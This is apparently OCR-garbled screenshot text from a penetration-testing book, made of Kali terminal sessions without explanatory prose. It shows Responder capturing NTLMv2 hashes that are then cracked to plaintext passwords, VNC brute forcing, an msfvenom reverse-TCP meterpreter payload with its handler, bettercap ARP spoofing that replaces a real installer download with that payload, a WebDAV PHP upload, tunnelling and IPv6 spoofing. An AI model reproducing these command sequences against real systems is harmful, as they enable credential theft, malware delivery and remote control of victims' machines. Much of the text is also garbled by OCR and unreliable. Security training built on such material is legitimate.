Phil Bramwell::FEDERALBANK-VP:1122334455667788:e44e242d89b93adf2784d1e2aaa7825f:0101000000000000c1bad99d5a8dd70105b226282€33697000000000200000
Phil Bramwell::FEDERALBANK-VP:1122334455667788:769¢789d3d0ce05b812448117d18aa57:0101000000000000c1bad99d5a8dd7010e544c5958417e7e000000000200000)

| Poisoning Options:

Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [ON]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [etho]
Responder IP [192.168.108.253]
Challenge set [random]
Don't Respond To Names ['ISATAP']

Listening for events...
INS]1 Po ned answe




Open Folder X

\\fileprinterhsare is not accessible. You might not have permission to use this network
resource. Contact the administrator of this server to find out if you have access permissions.

The speciﬁd network name is no longer available.

[+] Listening for events..
[*] [MDNS] Poi ed en
[*] [LLMNR] Poisoned answer sent to 192.168.10
[SMB] NTLMv2 Client : 192.168.108.233

[SMB] NTLMv2 Username : FEDERALBANK-VP\Phil Bramwell

[SMB] NTLMv2 Hash : Phil Bramwell::FEDERALBANK-VP:0a9a23e048bb2f04:597C8C5649B788A627159C1D5E63F2A6:0101000000000000564E9A588
E8DD701E17EEF4B6E1F16D40000000002000400270027000000000000000000

name fileprinterhsare.local
or name fileprinterhsare

t to 192.168.108.

ed answer

(root. kali)-[/usr/share/wordlists]
ls
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz wfuzz

(root« kali)-[/usr/share/wordlists]
gunzip rockyou.txt.gz

(root. kali)-[/usr/share/wordlists]

ls
dirb dirbuster fasttrack.txt fern-wifi metasploit mmap.lst rockyou.txt
(root. kali)-[/usr/share/wordlists]
[:; stat rockyou.txt
File: rockyou.txt
Size: 139921507 Blocks: 273288 I0 Block: 4096 regular file
Device: 801h/2049d Inode: 2652025 Links: 1

Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2021-02-23 05:14:11.000000000 -0500
Modify: 2019-07-17 05:59:21.000000000 -0400
Change: 2021-08-09 22:23:50.819635528 -0400
Birth: 2021-08-09 22:23:50.027636184 -0400

I:;(i‘mt « kali)-[/usr/share/wordlists]



11 hashcat logic ON
.include <rules/specific.rule>
'l hashcat logic OFF

.include [List.Rules:best64]
.include [List.Rules:d3adone]
.include [List.Rules:dive]

.include [List.Rules:InsidePro]
.include [List.Rules:TOX1C]
.include [List.Rules:rockyou-30000]
.include [List.Rules:specific]

# These are for phrase wordlists w/ spaces
.include <ru1es/passphrase-fUle1.ru1e>
.include <fules/passphrasé;r01e2.rule>

# Default Loopback mode rules.

.include [List.Rules:ShiftToggle]
.include [List.Rules:Split]

'l hashcat logic ON

+m

-m

I'l hashcat logic OFF

bl 1]

(root. kali)-[/home/kalil]
[:; john --wordlist=/usr/share/wordlists/rockyou.txt --rules=Single --format=netntlmv2 federal bank smb
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2021-08-09 22:45) 1.8869/s 351637p/s 351637c/s 351637C/s joan08..ebony0l
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

[:;(iootﬂ-kali)-[/home/kali]



[:~(rootn-kali)—[/home/kali]

# john --show federal bank smb
FederalBank_audit:gobearsl:FEDERALBANK-VP:el2ada5ae5f25ff2:7E74D06A1F58CCCI5S9EBD3BCEIEA6599:0101000000000000C0653150DEO9D20145C47
2A1561594BF000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D0042
0033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F0
0630061006C000500140053004D00420033002E006C006FO0630061006C0007000800C0653150DEO9ID20106000400020000000800300030000000000000000100
00000020000031AC8FD21E4245BBD4392FF736C22BFB49BC363187D074383F8781EAEF909B650A001 0000000 900280063006
900660073002F003100390032002E003100360038002E003100300038002E003200350033000000000000000000

Stacy Peters:sparky8: FEDERALBANK-VP:23acaadf9f4b3e5b: 6D64633C4A9A1FOBESAB61DF8836FCCS:0101000000000000C0653150DEO9D201F5D1CO19EI3
88029000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D0042003300
2E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006CO06FO063006
1006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DEO9D20106000400020000000800300030000000000000000160000000
20000031AC8FD21E4245BBD4392FF736C22BFB49BC363187D074383F8781EAEF909B650A0010000 0000000000900280063006900660
073002F003100390032002E003100360038002E003100300038002E003200350033000000000000000000

2 password hashes cracked, 1 left

Session..........: hashcat

Status...........: Exhausted

Hash.Name........: NetNTLMv2

Hash.Target......: federal bank smb

Time.Started.....: Mon Aug 9 23:54:45 2021 (8 secs)

Time.Estimated...: Mon Aug 9 23:54:53 2021 (0 secs)

Guess.Base..... ..: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)

Speed.#1.........: 1860.5 kH/s (1.49ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 2/3 (66.67%) Digests, 2/3 (66.67%) Salts
Progress.........: 43033155/43033155 (100.00%)

Rejected.........: 0/43033155 (0.00%)

Restore.Point....: 14344385/14344385 (100.00%)

Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:0-1

Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337¢2a156616d61732103]

Started: Mon Aug 9 23:54:43 2021
Stopped: Mon Aug 9 23:54:54 2021



Chapter 5: Assessing Network Security

[:—{rootn-kali}—[Iusr!shareinmapﬁscripts]

# nmap --script vnc-brute -p 5900 --open 192.168.108.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-15 18:19 EDT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 192.168.108.161
Host is up (0.00024s latency).

PORT STATE SERVICE

5900/tcp open wnc

| vnc-brute: No authentication required
MAC Address: 00:0C:29:DB:6D:C8 (VMware)

Nmap scan report for 192.168.108.173
Host is up (0.00017s latency).

PORT STATE SERVICE
5900/tcp open wnc
MAC Address: 00:0C:29:B7:20:33 (VMware)

Nmap scan report for 192.168.108.245
Host is up (0.00010s latency).

PORT STATE SERVICE

5900/tcp open wnc

| vnc-brute:

| Accounts: No valid accounts found

| Statistics: Performed 5000 guesses in 15 seconds, average tps: 333.3
MAC Address: 04:0E:3C:30:46:A5 (HP)

Nmap done: 256 IP addresses (21 hosts up) scanned in 21.47 seconds



[:—{ruut»*kali]—[Iusr!shareﬁnmapﬁscripts]
# nmap
Nmap 7.91 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <hostl[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery

HOST DISCOVERY:

-sL: List Scan - simply list targets to scan

-sns Ping Scan - disable port scan

-Pn: Treat all hosts as online -- skip host discovery
p 1scovery to given ports

-PE/PP/PM: ICMP echo, tlmestamp, and netmask request discovery probes

-PO[protocol list]: IP Protocol Ping

-n/-R: Never do DNS resolution/Always resolve [default: sometimes]

--dns-servers <servl[,serv2],...>: Specify custom DNS servers

--system-dns: Use 0S's DNS resolver

--traceroute: Trace hop path to each host

SCAN TECHNIQUES:
[-sS}sT/sA/sW/sM: TCP SYN/Connect ()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-s0: IP protocol scan
-b <FTP relay host>: FTP bounce scan



PORT SPECIFICATION AND SCAN ORDER:

: Only scan specified ports

-p -p 65535 -p U:53,111,137,T:21-25,80,139,8080,5:9

--exclude ports <port ranges>: Exclude the specified ports from scanning

-F: Fast mode - Scan fewer ports than the default scan

-r: Scan ports consecutively - don't randomize

--top-ports <number>: Scan <number> most common ports

--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV| Probe open ports to determine service/version info
--version-intensity <level>: Set from @ (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)

TIMING AND PERFORMANCE:

Optlons which take <t1me> are in seconds, or append 'ms' (milliseconds),
. or 'h' (hours) to the value (e.g. 30m).
-T<0-5>: Set timing template (hlgher is faster)
--min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <numprobes>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies

probe round trip time.

--max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeout <time>: Give up on target after this long
--scan-delay/--max-scan-delay <time>: Adjust delay between probes
--min-rate <number>: Send packets no slower than <number> per second
--max-rate <number>: Send packets no faster than <number> per second

(roote« kali)-[/home/kali]
’:# nmap -Pn -sS5 -p 80,443 --open -sV -T2 10.10.1605-115.10-20



L]

Ly

=

(roots kali)-[/home/kali]

# service postgresql start

(roote« kali)-[/home/kali]
msfTdb init

Database already started
Creating database user 'mstT'
Creating databases 'msT'

—(Message from Kali developers)
We have kept /usr/bin/python pointing to Python 2 for backwards

compatibility. Learn how to change this and avoid this message:
= https://www.kali.org/docs/general-use/python3-transition/

-

)

Creating databases 'msf test'

—(Message from Kali developers)

We have kept /usr/bin/python pointing to Python 2 for backwards
compatibility. Learn how to change this and avoid this message:
= https://www.kali.org/docs/general -use/python3-transition/

Creating configuration file '/usr/share/metasploit-framework/config/data
base.yml'

msf6 > db status
[*] Connected to msT. Connection type: postgresql.
msf6 > db nmap -Pn -sS -p 5900 --open 192.168.108.0/24

[*] Nmap:
slower.'
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap:
Nmap :
Nmap:
Nmap :
Nmap:
Nmap :
Nmap:
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

'"Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be

Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-15 10:04 EDT
Nmap scan report for 192.168.108.161

Host is up (0.00063s latency).

PORT STATE SERVICE

5900/tcp open vnc

MAC Address: 00:0C:29:DB:6D:C8 (VMware)

Nmap scan report for 192.168.108.173

Host is up (0.00020s latency).

PORT STATE SERYICE

5900/tcp open wvnc

MAC Address: 00:0C:29:B7:20:33 (VMware)

Nmap scan report for 192.168.108.245

Host is up (0.00059s latency).

PORT STATE SERYVICE

5900/tcp open wnc

MAC Address: 04:0E:3C:30:46:A5 (HP)

Nmap done: 256 IP addresses (23 hosts up) scanned in 3.43 seconds



mstoh > hosts

Hosts

address mac name os _name os_flavor os_sp purpose info comments
192.168.108.161 ©00:0C:29:DB:6D:C8 Unknown device

192.168.108.173 00:0C:29:B7:20:33 Unknown device

192.168.108.245 04:0E:3C:30:46:A5 Unknown device

msf6 auxiliary(scanner/vnc/vnc_login) = hosts -R

Hosts

address mac name os name os flavor os sp purpose info comments
192.168.108.161 00:0C:29:DB:6D:C8 Unknown device

192.168.108.173 00:0C:29:B7:20:33 Unknown device

192.168.108.245 04:0E:3C:30:46:A5 Unknown device

RHOSTS => 192.168.108.161 192.168.108.173 192.168.108.245
msf6 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.108.161:59600 - 192.168.108.161:5900 - Starting VNC login sweep
192.168.108.161:5900 - 192.168.108.161:5900 - Login Successful: :password
[*] Scanned 1 of 3 hosts (33% complete)
[*] 192.168.108.173:5900 - 192.168.108.173:5900 - Starting VNC login sweep
[-] 192.168.108.173:5900 - 192.168.108.173:5900 - LOGIN FAILED: :password (Incorrect: Authenticat
ion failed: Authentication failed from 192.168.108.211)
[*] Scanned 2 of 3 hosts (66% complete)
[*] 192.168.108.245:5900 - 192.168.108.245:5900 - Starting VNC login sweep
[-] 192.168.108.245:5900 - 192.168.108.245:5900 - LOGIN FAILED: :password (Incorrect: Authenticat
ion failed: Authentication failed from 192.168.108.211)
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
msT6 auxiliary(scanner/vnc/vnc_login) > [

(root. kali)-[/home/kali]
[:; msfvenom -p windows/meterpreter/reverse tcp -f exe lhost=192.168.249.136 lport=1066
-0 payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe



msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell reverse tcp

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf6 exploit(multi/handler) > set LHOST 0.0.0.0

LHOST => 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 1066

LPORT => 1066

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:1066

/usr/share/bettercap/caplets/download-autopwn/download-autopwn.cap
4 documentation can be found at https://github.com/bettercap/blob/master/download-aut

# this module lets you intercept very specific download requests and replaces the payE

el

#

#

#

# in order for a download to get intercepted:

B 1. the victim's user-agent string must match the downloadautopwn.useragent.x reg
# 2. the requested file must match one of the downloadautopwn.extensions.x file ex
#
#
#

# you can find the downloadautopwn.devices in the download-autopwn/ folder (you can af

choose the devices from which downloads get pwned (enter the dir names of choice de
(or feel free to add your own)
set downloadautopwn.devices android,ios, linux,macos,ps4,windows, xbox

H

# choose the regexp value that the victim's User-Agent has to match
# (feel free to add your own)

set downloadautopwn.useragent.android Android

set downloadautopwn.useragent.ios iPad|iPhone|iPod

set downloadautopwn.useragent.linux Linux

set downloadautopwn.useragent.macos Intel Mac 0S X 10_

set downloadautopwn.useragent.ps4 PlayStation 4
set downloadautopwn.useragent.windows Windows|WOW64
set downloadautopwn.useragent.xbox Xbox

# choose which file extensions get intercepted and replaced by your payload on specifE

[ Read 51 lines ]
K¢ Help g Write Oout @Y Where Is @ Cut @l Execute ¢ Location
@ Exit Bk Read File @\ Replace Al Paste g8 Justify gl Go To Line



# choose the devices from which downloads get pwned (enter the dir names of choice fr§§
# (or feel free to add your own)
# set downloadautopwn.devices android,ios, linux,macos,ps4,windows, xbox
set downloadautopwn.devices windows

TR KK H R W

choose the regexp value that the victim's User-Agent has to match
(feel free to add your own)
set downloadautopwn.useragent.android Android
set downloadautopwn.useragent.ios

set downloadautopwn.useragent.linux
set downloadautopwn.useragent.macos
set downloadautopwn.useragent.ps4

iPad|iPhone|iPod
Linux

Intel Mac 0S X 10
PlayStation 4

set downloadautopwn.useragent.windows Windows |WOW64
# set downloadautopwn.useragent.xbox

Xbox

# choose which file extensions get intercepted and replaced by your payload on specifH
# (again, you can add as many as you want)

# make sure the payload files exist and that they are all named "payload" (for examle
extensions.android apk,pdf,sh,pfx,zip

#set downloadautopwn.
.extensions.ios

.extensions.linux
#set downloadautopwn.
.extensions.ps4

#set downloadautopwn
#set downloadautopwn

#set downloadautopwn

extensions.macos

ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,E
c,90,sh,py,rb,cr,pl,deb,pdf,jar,zip
app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,i
disc,pup,pdf,doc,docx, zip

set downloadautopwn.extensions.windows exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pE

#set downloadautopwn.

extensions.xbox

(root«s kali)-[/]
[:; cd /usr/share/bettercap/caplets/download-autopwn/windows

exe,msi,jar,pdf,doc,docx, zip

[:;(root-akali)-[/usr/m/bettercap/caplets/download-autopwn/windows]

1s -s -h
total 80K

4.0K payload.7z
4.0K payload.ai

4.0K payload.avi

.0K payload.dll
.0K payload.doc

.0K payload.exe

.0K payload.jar
.0K payload.mp3

.0K payload.psd
.0K payload.rar

.0K payload.msi 4.0K payload.wav

4.0 4.0 4
4.0 4.0 4
4.0K payload.ait 4.0K payload.docx 4.0K payload.mp4 4.0K payload.swf
4.0 4.0 4
4.0 4.0 4

4.0K payload.bat

[:;(root kali)-[/home/kali]

.0K payload.flv

.0K payload.pdf 4.0K payload.zip

Desktop Downloads payload.exe Public Videos
Pictures Templates

Documents Music

(root- kali)-[/home/kalil
[:; mv payload.exe /usr/share/bettercap/caplets/download-autopwn/windows/payload.exe

(root « kall) [/home/kali]
[:; ls -s -h fusr/share/bettercap/caplets/download-autopwn/windows

total 152K

4.0K payload.7z  4.0K payload.dll
4.0K payload.ai 4.0K payload.doc
4.0K payload.ait 4.0K payload.docx
4.0K payload.avi 76K payload.exe
4.0K payload.bat 4.0K payload.flv

4.0K payload.jar 4.0K payload.psd
4.0K payload.mp3 4.0K payload.rar
4.0K payload.mp4 4.0K payload.swf
4.0K payload.msi 4.0K payload.wav
4.0K payload.pdf 4.0K payload.zip



IP v MAC Hosthame

192.168.249.1 ~ 00:50:56:C0:00:08 ¥ DESKTC 1UQ.local.

192.168.249.2 ~ 00:50:56:EC:25:73 ~
192.168.249.136 ¥  00:0C:29:EA
192.168.249.138 ¥  00:0C:29:

192.168.249.139 ¥  00:0C:7

Copy . URTAGE.local

Scan Ports

Add to arp.spoof.targets --29:73:6FCC ~

192.168.249.254 ¥  00:50:56:F6:24:2B ~




arp.spoof.targets

192.168.249.139, 192.168.249.2

arp.spoof.whitelist

¥ full-duplex spoofing
8 spoof local connections

8 ban mode

P Start arp.spoof [eETe:

Run this caplet.

B P /usi/share/bettercap/caplets/download-autopwn/download-autopwn.cap

| EJ 1 Download PdaNet+ X I+ v — O

&< > O m @ | pdanet.co/install/ Dig = 7. =&

home | ror | PdaNet + FoxFi SRR e

Android 11 support added in 5.23.2. Must update both phone side and
computer/tablet side!!

e Install PdaNet+ from Android Play Store 5.23.2
Same app for Android tablet or Chromebook

¢ Download Android apk file directly 5.23.2
Only if Play Store can't find or install PdaNet,
Sprint or AT&T users may have this issue
Must uninstall existing PdaNet app first

e Download Windows client app 5.23.2
Needed for USB or WiFi mode on Windows
If Windows has no Internet you can download the
exe file on phone first then plug-in for file access

e Download for Mac OS X




Autopwning download request from 192.168.249.139
Found EXE extension in pdanet.co/bin/PdaNetA5232b.exe

Grabbing WINDOWS payload...

The raw size of your payload is 72734 bytes

The size of the requested file is 4038192 bytes
Resizing your payload to 4038192 bytes...

Serving your payload to 192.168.249.139...

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:1066

[*] Sending stage (175174 bytes) to 192.168.249.139

[*] Meterpreter session 1 opened (192.168.249.136:1066 -> 192.168.249.139:51708) at 2021-09-08 22:4
3:05 -0400

[:—{rootﬂ~kali}—[fhumefkali]
# cadaver http://192.168.108.116/webdav
dav:/webdav/> put prezzie.php
Uploading prezzie.php to " /webdav/prezzie.php':
Progress: [ >] 100.0% of 1114 bytes succeeded.
dav:/webdav/> quit
Connection to "192.168.108.116' closed.

Attacker Linux Server




Open Port HTTP Open Port
8000 1433
Open Port Open Port
3535 3389
Kali Ubuntu Windows 10
whoami
root

apt-get install httptunnel
Reading package lists...
Building dependency tree...
Reading state information...
The following NEW packages will be installed:
httptunnel
0 upgraded, 1 newly installed, @ to remove and @ not upgraded.
Need to get 54.5kB of archives.
After this operation, 168kB of additional disk space will be used.
Get:1 http://old-releases.ubuntu.com hardy/universe httptunnel 3.3+dfsg-1 [54.5kB]
Fetched 54.5kB in 0s (192kB/s)
Selecting previously deselected package httptunnel.
(Reading database ... 105451 files and directories currently installed.)
Unpacking httptunnel (from .../httptunnel 3.3+dfsg-1 i386.deb)
Setting up httptunnel (3.3+dfsg-1)

ssh -L 0.0.0.0:3535:192.168.108.173:3389 bee@l27.0.0.1

ss -antp | grep "3535"
LISTEN 0 128 *:3535 *yx

hts --forward-port 127.0.0.1:3535 1433
ss -antp | grep "1433"

LISTEN 0 1 *:1433 ¥ users
:(("hts",8034,4))



[:—{ e )-[/home/kali]
htc --forward-port 8000 192.168.108.116:1433

( = )-[/home/kali]
[:_ ss -antp | grep "86000
LISTEN © 5 0.0.0.0: 0.0.0.0:% users:(("p
ython",pid=12072,fd=3))

127.0.0.1:3000

© 127.0.0.1:8000 x

This PC

2946 101.819493160 192.168.108.116 192.168.188.211 TCP 67 1433 — 36004 [PSH, ACK] Seq=77197 Ack
2947 101.819500574 192.168.108.211 192.168.188.116 TCP 66 36804 — 1433 [ACK] Seq=92 Ack=77193 W
2948 101.819529379 192.168.108.116 192.168.188.211 TCP 68 1433 — 36004 [PSH, ACK] Seq=77198 Ack
29459 161.819532245 192.168.168.211 192.168.188.116 TCP 66 36804 — 1433 [ACK] Seq=92 Ack=77208 W
2950 161.819546130 192.168.108.116 192.168.188.211 TCP 495 1433 - 36004 [PSH, ACK] Seq=77200 Ack
2951 101.819548451 192.168.108.211 192.168.188.116 TCP 66 36004 — 1433 [ACK] Seq=92 Ack=T77629 W
2952 161.820108563 192.168.108.211 192.168.188.116 TCP 67 36802 — 1433 [PSH, ACK] Seq=12860 Ack
2953 101.820135211 192.168.108.211 192.168.188.116 TCP 68 36802 — 1433 [PSH, ACK] Seq=12861 Ack
2954 101.820193013 192.168.108.211 192.168.188.116 TCP 140 36002 - 1433 [PSH, ACK] Seq=12863 Ack
2955 101.820280504 192.168.108.116 192.168.188.211 TCP 66 1433 —~ 36002 [ACK] Seq=1 Ack=12061 Wi
2956 101.820284420 192.168.108.116 192.168.188.211 TCP 66 1433 — 36002 [ACK] Seq=1 Ack=12063 Wi

2957 101.820286262 192.168.108.116 192.168.188.211 TCP 66 1433 - 36002 [ACK] Seq=1 Ack=12137 Wi



(roots kali)-[/home/kali]
[:; ping -6 -I eth® -c 10 ff02::1 > /dev/null
ping: Warning: source address might be selected on device other than: et
ho

(roots kali)-[/home/kali]
[:; ip -6 neigh show

fe80::6652:99ff: fedf:09af3 dev ethl 1lladdr 64:52:99:47:9a: 73 REACHABLE
Te80::7a28:caff:fecV:b7d2 dev ethl 1laddr 78:28:ca:c/:b7:d2 REACHABLE
Te80: :eaab:faff:Te78:5178 dev ethl 1lladdr e8:ab:fa:78:51:78 REACHABLE
Te80::7a28:caff:fTecB:1896 dev ethl 1laddr 78:28:ca:c8:18:96 REACHABLE
Te80::caba:cfff:felb:884a dev ethl 1laddr c8:5a:cf:1b:88:4a REACHABLE
fe80::7a28:caff:fec5:4422 dev eth® lladdr 78:28:ca:c5:44:22 REACHABLE
Te80::7a28:caff:fech:T30c dev ethd 1laddr 78:28:ca:c5:73:0c REACHABLE
fe80: :5eab:ebff:fel8:12T0 dev ethl® 1laddr 5c:ab:eb:18:12:T0 router REACH
ABLE

Te80: :5eab:ebff:felB:12fc dev ethl 1laddr 5c:ab:eb:18:12:fc router REACH
ABLE

Te80::166b:9cff:fed98:5dald dev ethl 1laddr 14:6b:9c:98:5d:a0 REACHABLE
fe80::1:1 dev ethf 1laddr 00:eB:67:17:c2:87 router REACHABLE
Te80::4f1a:283c:80d2:2947 dev ethl 1laddr bc:17:b8:cl:b%9:de REACHABLE
Te80::14e@:daff:fedB:772T dev eth® 1lladdr 16:e0:da:d8:77:27 REACHABLE
Te80::52dc:e7ff:Tee5:0657 dev ethl 1laddr 50:dc:e7:e5:96:57 REACHABLE

(roote kali)-[/home/kali]
[:; atkb-detect-new-ip6 eth@
Started ICMP6 DAD detection (Press Control-C to end) ...
Detected new ipb address: fe80::7850:309f:2256:53bb
Detected new ip6 address: fe80::20c:29ff:fe3e:ba’0



[j—{raatn»kali}—[!humefkali]
# sysctl -w net.ipv6.conf.all.forwarding=1

net.ipvb.conf.all.forwarding = 1

[:—{raatn~kali}—[!hume!kali]
# ipbtables -1 OUTPUT -p icmpvb --icmpvb-type redirect -j DROP

[j—{raatn»kali}—[!humefkali]
# atkb-parasiteb -1 -R eth®
Remember to enable routing, you will denial service otherwise:
=> echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
Remember to prevent sending out ICMPv6 Redirect packets:
=> ipbtables -I OUTPUT -p icmpvbé --icmpvb-type redirect -j DROP
Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end)

[j—{roatm~kali)-[!home}kali]
# socat TCP-LISTEN:8080, reuseaddr, fork TCP6:[2600:1007:b10a:6811:20c:29ff:

fe3e:bajg]: 80

b

kali@ kali: ~

File Actions Edit View Help

—(kali®kali) - [~]
¢ nikto -host 127.0.0.1 -port 8080

- Nikto v2.1.6
+ Target IP: 127.0.0.1

+ Target Hostname: 127.0.0.1

+ Target Port: 8080

+ Start Time: 2022-06-13 17:30:46 (GMT-4)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod fastcgi/2.4.6 PHP/5.2.4-2ubuntud w
ith Suhosin-Patch mod ss1/2.2.8 OpenS5L/0.9.8g

+ Server may leak inodes via ETags, header found with file /, inode: 838422,

size: 588, mtime: Sun Nov 2 13:20:24 2014

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XS55-Protection header is not defined. This header can hint to the us
er agent to protect against some forms of XS5

+ The X-Content-Type-Options header is not set. This could allow the user ag
ent to render the content of the site in a different fashion to the MIME typ



Chapter 6: Cryptography and the Penetration Tester

(root.s kali)-[/home/kali]
[:; echo Imal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0rImal337
H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0
rImal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0rImal337H4x0rImA
1337H4x0rImal337H4x0rImA1337H4x0rImal337H4x0rImA1337H4x0r > plain.txt

(root+ kali)-[/home/kali]
[;; openssl aes-128-ecb -in plain.txt -out ciphertext.enc
enter aes-128-ecb encryption password:
Verifying - enter aes-128-ecb encryption password:
**%*% WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

[:—(root-nkali)-[/home/kali]

# xxd -p ciphertext.enc
53616c7465645f5fc392f9b05545e31e93e0d71306391698ba354f9198ac
441536ab3271b5¢cfb84dd22218fcd500198da895e55ae70ed5¢c73d50¢ca88
be07d61093e0d71306391698ha354f9198ac441536ab3271b5cfh84dd222
18fcd500198da895e55ae70ed5¢73d50¢ca88be07d61093e0d7 306391698
ba354f9198ac441536ab3271b5cfb84dd22218fcd500198da895e55ae70e
d5¢73d50ca88be07d61093e0d7f306391698ba3541f9198ac441536ab3271
b5¢cfh84dd22218fcd500198da895e55ae70ed5¢73d50ca88be07d61093e0
d7f306391698ba35419198ac441536ab3271b5¢cfh84dd22218fcd500198d
a895e55ae70ed5¢c73d50ca88he07d61093e0d71306391698ba354f9198ac
441536ab3271b5cfh84dd22218fcd500198da895e55ae70ed5¢73d50ca88
be07d61093e0d71306391698ha354f9198ac4415a2b58810aeeef82bc2f9
dad77d7e7e89

l__( root. kali)-[/home/kali]
# xxd ciphertext.enc

00000000: 5361 6¢c74 6564 5f5f ¢392 f9bO 5545 e3fe Salted ....UE..
00000010: 93e0 d7f3 0639 1698 ba35 4f91 98ac 4415 ..... 9 .. D0l
00000020: 36ab 3271 b5cf b84d d222 18fc d500 198d 6.2q...M."......
00000030: a895 e55a e70e d5c7 3d50 ca88 be07 d610 ...Z....=P......
00000040: 93e0 d7f3 0639 1698 ba35 4f91 98ac 4415 ..... 95505 D
00000050: 36ab 3271 b5cf b84d d222 18fc d500 198d 6.2q...M."......
00000060: a895 e55a e70e d5c7 3d50 ca88 beO7 d610 ...Z....=P......
00000070: 93e0 d7f3 0639 1698 ba35 4f91 98ac 4415 ..... 9550 WDy
00000080: 36ab 3271 b5cf b84d d222 18fc d500 198d 6.2q...M."......
00000090: a895 e55a e70e d5c7 3d50 ca88 beO7 d610 ...Z....=P......
000000a0: 93e0® d7f3 0639 1698 ba35 4f91 98ac 4415 ..... 95045 .D.
000000b0: 36ab 3271 b5cf b84d d222 18fc d500 198d 6.2q...M."......
000000cO: a895 e55a e70e d5¢7 3d50 ca88 be@7 d610 ...Z....=P......
000000d0: 93e0 d7f3 0639 1698 ba35 4f91 98ac 4415 ..... 9 riiv 50D
000000e0: 36ab 3271 b5cf b84d d222 18fc d500 198d 6.2q...M."......
000000f0: a895 e55a e70e d5c7 3d50 ca88 be07 d610 ...Z....=P......
00000100: 93e0 d7f3 0639 1698 ba35 4f91 98ac 4415 ..... Qb0 D
00000110: 36ab 3271 b5cf b84d d222 18fc d500 198d 6.2q...M."......
00000120: a895 e55a e70e d5¢c7 3d50 ca88 beO7 d610 ...Z....=P......
00000130: 93e0 d7f3 0639 1698 ba35 4f91 98ac 4415 ..... GBSO

00000140: a2b5 8810 aeee f82b c2f9 dad7 7d7e 7e89 ....... . T
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encryption

Plain 3
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encrypt 2 l::> @
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encryption

v

encrypt 3

[:—(roota-kali)-[/home/kali/Downloads]
# chmod +x Xampp-linux-x64-7.3.30-0-installer.run

[:—(rootn-kali)-[/home/kali/Downloads]
# ./xampp-linux-x64-7.3.30-0-installer. runlj

(root.+ kali)-[/home/kali]
